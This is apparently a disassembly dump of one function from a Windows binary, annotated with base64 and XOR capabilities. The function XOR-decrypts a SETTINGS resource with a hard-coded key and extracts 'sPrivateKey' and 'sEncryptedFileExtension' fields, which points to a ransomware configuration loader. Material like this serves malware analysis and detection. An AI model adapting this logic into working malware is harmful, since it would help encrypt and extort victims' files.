Function at 0x140002ad0
Capabilities:
Decode data using base64 via winapi
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x70]
sub rsp, 0x170
xor r14d, r14d
mov dword [rbp + 0x90], r14d
lea rcx, str.____Load_settings_from_resource..._n
call fcn.140001b80
lea rax, str.SETTINGS
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 8
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140017ca0
nop
cmp byte [rsp + 0x50], r14b
je 0x140003064
mov rbx, qword [rsp + 0x60]
sub rbx, qword [rsp + 0x58]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x70]
call fcn.1400109d0
mov r9d, r14d
mov r8, qword [rsp + 0x58]
test rbx, rbx
je 0x140002bba
movabs r10, 0x2492492492492493
lea r11, str.PUTINHUILO1337
nop dword [rax]
nop word [rax + rax]
mov rax, r10
mul r9
mov rax, r9
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 3
imul rax, rax, 0xe
mov rcx, r9
sub rcx, rax
movzx edx, byte [r8 + r9]
xor dl, byte [rcx + r11]
mov rax, qword [rsp + 0x70]
mov byte [rax + r9], dl
inc r9
cmp r9, rbx
jb 0x140002b80
test r8, r8
je 0x140002bf4
mov rdx, qword [rsp + 0x68]
sub rdx, r8
mov rax, r8
cmp rdx, 0x1000
jb 0x140002bec
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030c2
mov rcx, r8
call fcn.140019450
mov rdi, qword [rsp + 0x70]
mov qword [rsp + 0x58], rdi
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x60], rdx
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x90], 0
cmp rdx, rax
je 0x140002c2b
mov byte [rdx], 0
lea rax, [rdx + 1]
mov qword [rsp + 0x60], rax
jmp 0x140002c41
lea r8, [rbp + 0x90]
lea rcx, [rsp + 0x58]
call fcn.140008db0
mov rdi, qword [rsp + 0x58]
mov rdx, rdi
lea rcx, str.___Resource:__s_n
call fcn.140001bd0
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x90], rdi
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x40]
call fcn.140004190
nop
lea rdx, str.sPrivateKey
lea rcx, [rsp + 0x40]
call fcn.1400042a0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140049f10]
movdqu xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x70], 0
mov dword [rbp + 0x90], 9
cmp byte [rax], 3
jne 0x1400030c8
mov rdx, qword [rax + 8]
lea rax, [rbp - 0x70]
cmp rax, rdx
je 0x140002cd3
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140002cc9
mov rdx, qword [rdx]
lea rcx, [rbp - 0x70]
call fcn.140010a50
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.140017a40
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002d1c
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003106
call fcn.140019450
movdqa xmm0, xmmword [0x140049f10]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
lea rsi, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rsi, qword [rbp - 0x50]
mov dword [rbp + 0x90], r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0x90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 1]
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x140002fff
mov r8d, dword [rbp + 0x90]
mov r9, qword [0x140051af0]
mov rdx, qword [0x140051ae8]
mov rcx, r9
sub rcx, rdx
cmp r8, rcx
jae 0x140002d9f
lea rax, [r8 + rdx]
mov qword [0x140051af0], rax
jmp 0x140002dd2
jbe 0x140002dd2
mov rax, qword [0x140051af8]
sub rax, rdx
cmp r8, rax
jbe 0x140002dba
mov rdx, r8
call fcn.1400115e0
jmp 0x140002dd2
sub r8, rcx
lea rbx, [r8 + r9]
xor edx, edx
mov rcx, r9
call fcn.14003b810
mov qword [0x140051af0], rbx
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0x90]
mov qword [rsp + 0x20], rax
mov r9, qword [0x140051ae8]
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x140002fff
mov r8d, dword [rbp + 0x90]
mov rdx, qword [0x140051ae8]
mov r9, qword [0x140051af0]
mov rcx, r9
sub rcx, rdx
cmp r8, rcx
jae 0x140002e33
lea rax, [r8 + rdx]
mov qword [0x140051af0], rax
jmp 0x140002e66
jbe 0x140002e66
mov rax, qword [0x140051af8]
sub rax, rdx
cmp r8, rax
jbe 0x140002e4e
mov rdx, r8
call fcn.1400115e0
jmp 0x140002e66
sub r8, rcx
lea rbx, [r8 + r9]
xor edx, edx
mov rcx, r9
call fcn.14003b810
mov qword [0x140051af0], rbx
lea rdx, str.sEncryptedFileExtension
lea rcx, [rsp + 0x40]
call fcn.1400042a0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x140049f10]
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x30], 0
mov dword [rbp + 0x90], 0x25
cmp byte [rax], 3
jne 0x14000310c
mov rdx, qword [rax + 8]
lea rax, [rbp - 0x30]
cmp rax, rdx
je 0x140002ec8
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140002ebe
mov rdx, qword [rdx]
lea rcx, [rbp - 0x30]
call fcn.140010a50
nop
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x70]
call fcn.140017a40
mov rbx, rax
lea rax, [0x140051b78]
cmp rax, rbx
je 0x140002f6c
mov rdx, qword [0x140051b90]
cmp rdx, 7
jbe 0x140002f2f
mov rcx, qword [0x140051b78]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140002f2a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003149
mov rcx, r8
call fcn.140019450
movdqa xmm0, xmmword [0x140049f00]
movdqu xmmword [0x140051b88], xmm0
mov word [0x140051b78], r14w
movups xmm0, xmmword [rbx]
movups xmmword [0x140051b78], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140051b88], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140002fad
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003149
call fcn.140019450
movdqa xmm0, xmmword [0x140049f00]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], r14w
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140002ffb
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ff6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000314f
call fcn.140019450
mov bl, 1
jmp 0x140003001
xor bl, bl
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140003041
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000303c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003155
call fcn.140019450
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r14w
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.140003a30
nop
jmp 0x14000306b
xor bl, bl
mov rdi, qword [rsp + 0x58]
test rdi, rdi
je 0x1400030a1
mov rdx, qword [rsp + 0x68]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x140003099
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030bc
mov rcx, rdi
call fcn.140019450
movzx eax, bl
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.14002a6d4
nop
call fcn.14002a6d4
nop
mov rcx, rax
call fcn.1400063c0
mov qword [rbp + 0x98], rax
lea r8, [rbp + 0x98]
lea rcx, [rsp + 0x70]
call fcn.140010bb0
nop
mov r8, rax
lea rcx, [rbp + 0x30]
call fcn.140010c70
lea rdx, [0x14004f270]
lea rcx, [rbp + 0x30]
call fcn.14001b0e0
nop
call fcn.14002a6d4
nop
mov rcx, rax
call fcn.1400063c0
mov qword [rbp + 0x98], rax
lea r8, [rbp + 0x98]
lea rcx, [rbp + 0x30]
call fcn.140010bb0
nop
mov r8, rax
lea rcx, [rbp - 0x10]
call fcn.140010c70
lea rdx, [0x14004f270]
lea rcx, [rbp - 0x10]
call fcn.14001b0e0
nop
call fcn.14002a6d4
nop
call fcn.14002a6d4
nop
call fcn.14002a6d4
int3